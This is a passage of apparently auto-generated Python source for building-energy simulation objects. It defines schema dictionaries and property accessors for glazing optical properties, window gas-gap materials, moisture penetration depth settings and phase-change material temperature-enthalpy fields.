Solar Reflectance` """ self["Front Side Diffuse-Diffuse Visible Solar Reflectance"] = value @property def back_side_diffusediffuse_visible_solar_reflectance(self): """field `Back Side Diffuse-Diffuse Visible Solar Reflectance` | Used only when Optical Data Type = SpectralAverage | This input field is not used currently. | Units: dimensionless | Default value: "autocalculate" | value <= 1.0 Args: value (float or "Autocalculate"): value for IDD Field `Back Side Diffuse-Diffuse Visible Solar Reflectance` Raises: ValueError: if `value` is not a valid value Returns: float or "Autocalculate": the value of `back_side_diffusediffuse_visible_solar_reflectance` or None if not set """ return self["Back Side Diffuse-Diffuse Visible Solar Reflectance"] @back_side_diffusediffuse_visible_solar_reflectance.setter def back_side_diffusediffuse_visible_solar_reflectance( self, value="autocalculate"): """ Corresponds to IDD field `Back Side Diffuse-Diffuse Visible Solar Reflectance` """ self["Back Side Diffuse-Diffuse Visible Solar Reflectance"] = value @property def infrared_transmittance_applies_to_front_and_back(self): """field `Infrared Transmittance (applies to front and back)` | The long-wave hemispherical transmittance of the glazing. | Assumed to be the same for both sides of the glazing. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Infrared Transmittance (applies to front and back)` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `infrared_transmittance_applies_to_front_and_back` or None if not set """ return self["Infrared Transmittance (applies to front and back)"] @infrared_transmittance_applies_to_front_and_back.setter def infrared_transmittance_applies_to_front_and_back(self, value=None): """Corresponds to IDD field `Infrared Transmittance (applies to front and back)`""" self["Infrared Transmittance (applies to front and back)"] = value @property def front_side_infrared_emissivity(self): """field `Front Side Infrared Emissivity` | The front side long-wave hemispherical emissivity of the glazing. | Units: dimensionless | Default value: 0.84 | value < 1.0 Args: value (float): value for IDD Field `Front Side Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `front_side_infrared_emissivity` or None if not set """ return self["Front Side Infrared Emissivity"] @front_side_infrared_emissivity.setter def front_side_infrared_emissivity(self, value=0.84): """Corresponds to IDD field `Front Side Infrared Emissivity`""" self["Front Side Infrared Emissivity"] = value @property def back_side_infrared_emissivity(self): """field `Back Side Infrared Emissivity` | The back side long-wave hemispherical emissivity of the glazing. | Units: dimensionless | Default value: 0.84 | value < 1.0 Args: value (float): value for IDD Field `Back Side Infrared Emissivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `back_side_infrared_emissivity` or None if not set """ return self["Back Side Infrared Emissivity"] @back_side_infrared_emissivity.setter def back_side_infrared_emissivity(self, value=0.84): """Corresponds to IDD field `Back Side Infrared Emissivity`""" self["Back Side Infrared Emissivity"] = value class WindowMaterialGapEquivalentLayer(DataObject): """ Corresponds to IDD object `WindowMaterial:Gap:EquivalentLayer` Gas material properties that are used in Windows Equivalent Layer References only WindowMaterial:Gas properties """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'gas type', {'name': u'Gas Type', 'pyname': u'gas_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'AIR', u'ARGON', u'KRYPTON', u'XENON', u'CUSTOM'], 'autocalculatable': False, 'type': 'alpha'}), (u'thickness', {'name': u'Thickness', 'pyname': u'thickness', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'gap vent type', {'name': u'Gap Vent Type', 'pyname': u'gap_vent_type', 'required-field': True, 'autosizable': False, 'accepted-values': [u'Sealed', u'VentedIndoor', u'VentedOutdoor'], 'autocalculatable': False, 'type': 'alpha'}), (u'conductivity coefficient a', {'name': u'Conductivity Coefficient A', 'pyname': u'conductivity_coefficient_a', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'conductivity coefficient b', {'name': u'Conductivity Coefficient B', 'pyname': u'conductivity_coefficient_b', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K2'}), (u'conductivity coefficient c', {'name': u'Conductivity Coefficient C', 'pyname': u'conductivity_coefficient_c', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K3'}), (u'viscosity coefficient a', {'name': u'Viscosity Coefficient A', 'pyname': u'viscosity_coefficient_a', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m-s'}), (u'viscosity coefficient b', {'name': u'Viscosity Coefficient B', 'pyname': u'viscosity_coefficient_b', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m-s-K'}), (u'viscosity coefficient c', {'name': u'Viscosity Coefficient C', 'pyname': u'viscosity_coefficient_c', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'kg/m-s-K2'}), (u'specific heat coefficient a', {'name': u'Specific Heat Coefficient A', 'pyname': u'specific_heat_coefficient_a', 'minimum>': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K'}), (u'specific heat coefficient b', {'name': u'Specific Heat Coefficient B', 'pyname': u'specific_heat_coefficient_b', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K2'}), (u'specific heat coefficient c', {'name': u'Specific Heat Coefficient C', 'pyname': u'specific_heat_coefficient_c', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg-K3'}), (u'molecular weight', {'name': u'Molecular Weight', 'pyname': u'molecular_weight', 'maximum': 200.0, 'required-field': False, 'autosizable': False, 'minimum': 20.0, 'autocalculatable': False, 'type': u'real', 'unit': u'g/mol'}), (u'specific heat ratio', {'name': u'Specific Heat Ratio', 'pyname': u'specific_heat_ratio', 'minimum>': 1.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 3, 'name': u'WindowMaterial:Gap:EquivalentLayer', 'pyname': u'WindowMaterialGapEquivalentLayer', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def gas_type(self): """field `Gas Type` Args: value (str): value for IDD Field `Gas Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gas_type` or None if not set """ return self["Gas Type"] @gas_type.setter def gas_type(self, value=None): """Corresponds to IDD field `Gas Type`""" self["Gas Type"] = value @property def thickness(self): """field `Thickness` | Units: m | IP-Units: in Args: value (float): value for IDD Field `Thickness` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thickness` or None if not set """ return self["Thickness"] @thickness.setter def thickness(self, value=None): """Corresponds to IDD field `Thickness`""" self["Thickness"] = value @property def gap_vent_type(self): """field `Gap Vent Type` | Sealed means the gap is enclosed and gas tight, i.e., no venting to indoor or | outdoor environment. VentedIndoor means the gap is vented to indoor environment, and | VentedOutdoor means the gap is vented to the outdoor environment. The gap types | VentedIndoor and VentedOutdoor are used with gas type "Air" only. Args: value (str): value for IDD Field `Gap Vent Type` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `gap_vent_type` or None if not set """ return self["Gap Vent Type"] @gap_vent_type.setter def gap_vent_type(self, value=None): """Corresponds to IDD field `Gap Vent Type`""" self["Gap Vent Type"] = value @property def conductivity_coefficient_a(self): """field `Conductivity Coefficient A` | Used only if Gas Type = Custom | Units: W/m-K Args: value (float): value for IDD Field `Conductivity Coefficient A` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_coefficient_a` or None if not set """ return self["Conductivity Coefficient A"] @conductivity_coefficient_a.setter def conductivity_coefficient_a(self, value=None): """Corresponds to IDD field `Conductivity Coefficient A`""" self["Conductivity Coefficient A"] = value @property def conductivity_coefficient_b(self): """field `Conductivity Coefficient B` | Used only if Gas Type = Custom | Units: W/m-K2 Args: value (float): value for IDD Field `Conductivity Coefficient B` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_coefficient_b` or None if not set """ return self["Conductivity Coefficient B"] @conductivity_coefficient_b.setter def conductivity_coefficient_b(self, value=None): """Corresponds to IDD field `Conductivity Coefficient B`""" self["Conductivity Coefficient B"] = value @property def conductivity_coefficient_c(self): """field `Conductivity Coefficient C` | Used only if Gas Type = Custom | Units: W/m-K3 Args: value (float): value for IDD Field `Conductivity Coefficient C` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `conductivity_coefficient_c` or None if not set """ return self["Conductivity Coefficient C"] @conductivity_coefficient_c.setter def conductivity_coefficient_c(self, value=None): """Corresponds to IDD field `Conductivity Coefficient C`""" self["Conductivity Coefficient C"] = value @property def viscosity_coefficient_a(self): """field `Viscosity Coefficient A` | Used only if Gas Type = Custom | Units: kg/m-s Args: value (float): value for IDD Field `Viscosity Coefficient A` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `viscosity_coefficient_a` or None if not set """ return self["Viscosity Coefficient A"] @viscosity_coefficient_a.setter def viscosity_coefficient_a(self, value=None): """Corresponds to IDD field `Viscosity Coefficient A`""" self["Viscosity Coefficient A"] = value @property def viscosity_coefficient_b(self): """field `Viscosity Coefficient B` | Used only if Gas Type = Custom | Units: kg/m-s-K Args: value (float): value for IDD Field `Viscosity Coefficient B` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `viscosity_coefficient_b` or None if not set """ return self["Viscosity Coefficient B"] @viscosity_coefficient_b.setter def viscosity_coefficient_b(self, value=None): """Corresponds to IDD field `Viscosity Coefficient B`""" self["Viscosity Coefficient B"] = value @property def viscosity_coefficient_c(self): """field `Viscosity Coefficient C` | Used only if Gas Type = Custom | Units: kg/m-s-K2 Args: value (float): value for IDD Field `Viscosity Coefficient C` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `viscosity_coefficient_c` or None if not set """ return self["Viscosity Coefficient C"] @viscosity_coefficient_c.setter def viscosity_coefficient_c(self, value=None): """Corresponds to IDD field `Viscosity Coefficient C`""" self["Viscosity Coefficient C"] = value @property def specific_heat_coefficient_a(self): """field `Specific Heat Coefficient A` | Used only if Gas Type = Custom | Units: J/kg-K Args: value (float): value for IDD Field `Specific Heat Coefficient A` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_coefficient_a` or None if not set """ return self["Specific Heat Coefficient A"] @specific_heat_coefficient_a.setter def specific_heat_coefficient_a(self, value=None): """Corresponds to IDD field `Specific Heat Coefficient A`""" self["Specific Heat Coefficient A"] = value @property def specific_heat_coefficient_b(self): """field `Specific Heat Coefficient B` | Used only if Gas Type = Custom | Units: J/kg-K2 Args: value (float): value for IDD Field `Specific Heat Coefficient B` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_coefficient_b` or None if not set """ return self["Specific Heat Coefficient B"] @specific_heat_coefficient_b.setter def specific_heat_coefficient_b(self, value=None): """Corresponds to IDD field `Specific Heat Coefficient B`""" self["Specific Heat Coefficient B"] = value @property def specific_heat_coefficient_c(self): """field `Specific Heat Coefficient C` | Used only if Gas Type = Custom | Units: J/kg-K3 Args: value (float): value for IDD Field `Specific Heat Coefficient C` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_coefficient_c` or None if not set """ return self["Specific Heat Coefficient C"] @specific_heat_coefficient_c.setter def specific_heat_coefficient_c(self, value=None): """Corresponds to IDD field `Specific Heat Coefficient C`""" self["Specific Heat Coefficient C"] = value @property def molecular_weight(self): """field `Molecular Weight` | Used only if Gas Type = Custom | Units: g/mol | value >= 20.0 | value <= 200.0 Args: value (float): value for IDD Field `Molecular Weight` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `molecular_weight` or None if not set """ return self["Molecular Weight"] @molecular_weight.setter def molecular_weight(self, value=None): """Corresponds to IDD field `Molecular Weight`""" self["Molecular Weight"] = value @property def specific_heat_ratio(self): """field `Specific Heat Ratio` | Used only if Gas Type = Custom | value > 1.0 Args: value (float): value for IDD Field `Specific Heat Ratio` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `specific_heat_ratio` or None if not set """ return self["Specific Heat Ratio"] @specific_heat_ratio.setter def specific_heat_ratio(self, value=None): """Corresponds to IDD field `Specific Heat Ratio`""" self["Specific Heat Ratio"] = value class MaterialPropertyMoisturePenetrationDepthSettings(DataObject): """ Corresponds to IDD object `MaterialProperty:MoisturePenetrationDepth:Settings` Additional properties for moisture using EMPD procedure HeatBalanceAlgorithm choice=MoisturePenetrationDepthConductionTransferFunction only Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'moisture penetration depth', {'name': u'Moisture Penetration Depth', 'pyname': u'moisture_penetration_depth', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'moisture equation coefficient a', {'name': u'Moisture Equation Coefficient a', 'pyname': u'moisture_equation_coefficient_a', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'moisture equation coefficient b', {'name': u'Moisture Equation Coefficient b', 'pyname': u'moisture_equation_coefficient_b', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'moisture equation coefficient c', {'name': u'Moisture Equation Coefficient c', 'pyname': u'moisture_equation_coefficient_c', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'}), (u'moisture equation coefficient d', {'name': u'Moisture Equation Coefficient d', 'pyname': u'moisture_equation_coefficient_d', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'dimensionless'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:MoisturePenetrationDepth:Settings', 'pyname': u'MaterialPropertyMoisturePenetrationDepthSettings', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | Material Name that the moisture properties will be added to. | Additional material properties required to perform the EMPD model. | Effective Mean Penetration Depth (EMPD) Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def moisture_penetration_depth(self): """field `Moisture Penetration Depth` | This is the penetration depth | Units: m Args: value (float): value for IDD Field `Moisture Penetration Depth` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_penetration_depth` or None if not set """ return self["Moisture Penetration Depth"] @moisture_penetration_depth.setter def moisture_penetration_depth(self, value=None): """Corresponds to IDD field `Moisture Penetration Depth`""" self["Moisture Penetration Depth"] = value @property def moisture_equation_coefficient_a(self): """field `Moisture Equation Coefficient a` | Units: dimensionless Args: value (float): value for IDD Field `Moisture Equation Coefficient a` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_equation_coefficient_a` or None if not set """ return self["Moisture Equation Coefficient a"] @moisture_equation_coefficient_a.setter def moisture_equation_coefficient_a(self, value=None): """Corresponds to IDD field `Moisture Equation Coefficient a`""" self["Moisture Equation Coefficient a"] = value @property def moisture_equation_coefficient_b(self): """field `Moisture Equation Coefficient b` | Units: dimensionless Args: value (float): value for IDD Field `Moisture Equation Coefficient b` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_equation_coefficient_b` or None if not set """ return self["Moisture Equation Coefficient b"] @moisture_equation_coefficient_b.setter def moisture_equation_coefficient_b(self, value=None): """Corresponds to IDD field `Moisture Equation Coefficient b`""" self["Moisture Equation Coefficient b"] = value @property def moisture_equation_coefficient_c(self): """field `Moisture Equation Coefficient c` | Units: dimensionless Args: value (float): value for IDD Field `Moisture Equation Coefficient c` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_equation_coefficient_c` or None if not set """ return self["Moisture Equation Coefficient c"] @moisture_equation_coefficient_c.setter def moisture_equation_coefficient_c(self, value=None): """Corresponds to IDD field `Moisture Equation Coefficient c`""" self["Moisture Equation Coefficient c"] = value @property def moisture_equation_coefficient_d(self): """field `Moisture Equation Coefficient d` | Units: dimensionless Args: value (float): value for IDD Field `Moisture Equation Coefficient d` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_equation_coefficient_d` or None if not set """ return self["Moisture Equation Coefficient d"] @moisture_equation_coefficient_d.setter def moisture_equation_coefficient_d(self, value=None): """Corresponds to IDD field `Moisture Equation Coefficient d`""" self["Moisture Equation Coefficient d"] = value class MaterialPropertyPhaseChange(DataObject): """ Corresponds to IDD object `MaterialProperty:PhaseChange` Additional properties for temperature dependent thermal conductivity and enthalpy for Phase Change Materials (PCM) HeatBalanceAlgorithm = CondFD(ConductionFiniteDifference) solution algorithm only. Constructions with this should use the detailed CondFD process. Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'temperature coefficient for thermal conductivity', {'name': u'Temperature Coefficient for Thermal Conductivity', 'pyname': u'temperature_coefficient_for_thermal_conductivity', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K2'}), (u'temperature 1', {'name': u'Temperature 1', 'pyname': u'temperature_1', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 1', {'name': u'Enthalpy 1', 'pyname': u'enthalpy_1', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'J/kg'}), (u'temperature 2', {'name': u'Temperature 2', 'pyname': u'temperature_2', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 2', {'name': u'Enthalpy 2', 'pyname': u'enthalpy_2', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 3', {'name': u'Temperature 3', 'pyname': u'temperature_3', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 3', {'name': u'Enthalpy 3', 'pyname': u'enthalpy_3', 'default': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 4', {'name': u'Temperature 4', 'pyname': u'temperature_4', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 4', {'name': u'Enthalpy 4', 'pyname': u'enthalpy_4', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 5', {'name': u'Temperature 5', 'pyname': u'temperature_5', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 5', {'name': u'Enthalpy 5', 'pyname': u'enthalpy_5', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 6', {'name': u'Temperature 6', 'pyname': u'temperature_6', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 6', {'name': u'Enthalpy 6', 'pyname': u'enthalpy_6', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 7', {'name': u'Temperature 7', 'pyname': u'temperature_7', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 7', {'name': u'Enthalpy 7', 'pyname': u'enthalpy_7', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 8', {'name': u'Temperature 8', 'pyname': u'temperature_8', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 8', {'name': u'Enthalpy 8', 'pyname': u'enthalpy_8', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 9', {'name': u'Temperature 9', 'pyname': u'temperature_9', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 9', {'name': u'Enthalpy 9', 'pyname': u'enthalpy_9', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': 'real', 'unit': u'J/kg'}), (u'temperature 10', {'name': u'Temperature 10', 'pyname': u'temperature_10', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 10', {'name': u'Enthalpy 10', 'pyname': u'enthalpy_10', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 11', {'name': u'Temperature 11', 'pyname': u'temperature_11', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 11', {'name': u'Enthalpy 11', 'pyname': u'enthalpy_11', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 12', {'name': u'Temperature 12', 'pyname': u'temperature_12', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 12', {'name': u'Enthalpy 12', 'pyname': u'enthalpy_12', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 13', {'name': u'Temperature 13', 'pyname': u'temperature_13', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 13', {'name': u'Enthalpy 13', 'pyname': u'enthalpy_13', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 14', {'name': u'Temperature 14', 'pyname': u'temperature_14', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 14', {'name': u'Enthalpy 14', 'pyname': u'enthalpy_14', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 15', {'name': u'Temperature 15', 'pyname': u'temperature_15', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 15', {'name': u'Enthalpy 15', 'pyname': u'enthalpy_15', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'}), (u'temperature 16', {'name': u'Temperature 16', 'pyname': u'temperature_16', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'C'}), (u'enthalpy 16', {'name': u'Enthalpy 16', 'pyname': u'enthalpy_16', 'default': 0.0, 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'J/kg'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:PhaseChange', 'pyname': u'MaterialPropertyPhaseChange', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` | Regular Material Name to which the additional properties will be added. | this the material name for the basic material properties. Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def temperature_coefficient_for_thermal_conductivity(self): """field `Temperature Coefficient for Thermal Conductivity` | The base temperature is 20C. | This is the thermal conductivity change per degree excursion from 20C. | This variable conductivity function is overridden by the VariableThermalConductivity object, if present. | Units: W/m-K2 Args: value (float): value for IDD Field `Temperature Coefficient for Thermal Conductivity` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_coefficient_for_thermal_conductivity` or None if not set """ return self["Temperature Coefficient for Thermal Conductivity"] @temperature_coefficient_for_thermal_conductivity.setter def temperature_coefficient_for_thermal_conductivity(self, value=None): """Corresponds to IDD field `Temperature Coefficient for Thermal Conductivity`""" self["Temperature Coefficient for Thermal Conductivity"] = value @property def temperature_1(self): """field `Temperature 1` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_1` or None if not set """ return self["Temperature 1"] @temperature_1.setter def temperature_1(self, value=None): """Corresponds to IDD field `Temperature 1`""" self["Temperature 1"] = value @property def enthalpy_1(self): """field `Enthalpy 1` | for Temperature-enthalpy function corresponding to temperature 1 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_1` or None if not set """ return self["Enthalpy 1"] @enthalpy_1.setter def enthalpy_1(self, value=None): """Corresponds to IDD field `Enthalpy 1`""" self["Enthalpy 1"] = value @property def temperature_2(self): """field `Temperature 2` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_2` or None if not set """ return self["Temperature 2"] @temperature_2.setter def temperature_2(self, value=None): """Corresponds to IDD field `Temperature 2`""" self["Temperature 2"] = value @property def enthalpy_2(self): """field `Enthalpy 2` | for Temperature-enthalpy function corresponding to temperature 2 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_2` or None if not set """ return self["Enthalpy 2"] @enthalpy_2.setter def enthalpy_2(self, value=None): """Corresponds to IDD field `Enthalpy 2`""" self["Enthalpy 2"] = value @property def temperature_3(self): """field `Temperature 3` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_3` or None if not set """ return self["Temperature 3"] @temperature_3.setter def temperature_3(self, value=None): """Corresponds to IDD field `Temperature 3`""" self["Temperature 3"] = value @property def enthalpy_3(self): """field `Enthalpy 3` | for Temperature-enthalpy function corresponding to temperature 3 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_3` or None if not set """ return self["Enthalpy 3"] @enthalpy_3.setter def enthalpy_3(self, value=None): """Corresponds to IDD field `Enthalpy 3`""" self["Enthalpy 3"] = value @property def temperature_4(self): """field `Temperature 4` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_4` or None if not set """ return self["Temperature 4"] @temperature_4.setter def temperature_4(self, value=None): """Corresponds to IDD field `Temperature 4`""" self["Temperature 4"] = value @property def enthalpy_4(self): """field `Enthalpy 4` | for Temperature-enthalpy function corresponding to temperature 4 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_4` or None if not set """ return self["Enthalpy 4"] @enthalpy_4.setter def enthalpy_4(self, value=None): """Corresponds to IDD field `Enthalpy 4`""" self["Enthalpy 4"] = value @property def temperature_5(self): """field `Temperature 5` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_5` or None if not set """ return self["Temperature 5"] @temperature_5.setter def temperature_5(self, value=None): """Corresponds to IDD field `Temperature 5`""" self["Temperature 5"] = value @property def enthalpy_5(self): """field `Enthalpy 5` | for Temperature-enthalpy function corresponding to temperature 5 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_5` or None if not set """ return self["Enthalpy 5"] @enthalpy_5.setter def enthalpy_5(self, value=None): """Corresponds to IDD field `Enthalpy 5`""" self["Enthalpy 5"] = value @property def temperature_6(self): """field `Temperature 6` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_6` or None if not set """ return self["Temperature 6"] @temperature_6.setter def temperature_6(self, value=None): """Corresponds to IDD field `Temperature 6`""" self["Temperature 6"] = value @property def enthalpy_6(self): """field `Enthalpy 6` | for Temperature-enthalpy function corresponding to temperature 6 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `enthalpy_6` or None if not set """ return self["Enthalpy 6"] @enthalpy_6.setter def enthalpy_6(self, value=None): """Corresponds to IDD field `Enthalpy 6`""" self["Enthalpy 6"] = value @property def temperature_7(self): """field `Temperature 7` | for Temperature-enthalpy function | Units: C Args: value (float): value for IDD Field `Temperature 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `temperature_7` or None if not set """ return self["Temperature 7"] @temperature_7.setter def temperature_7(self, value=None): """Corresponds to IDD field `Temperature 7`""" self["Temperature 7"] = value @property def enthalpy_7(self): """field `Enthalpy 7` | for Temperature-enthalpy function corresponding to temperature 7 | Units: J/kg Args: value (float): value for IDD Field `Enthalpy 7` Raises: ValueError: if `value` is not a valid value 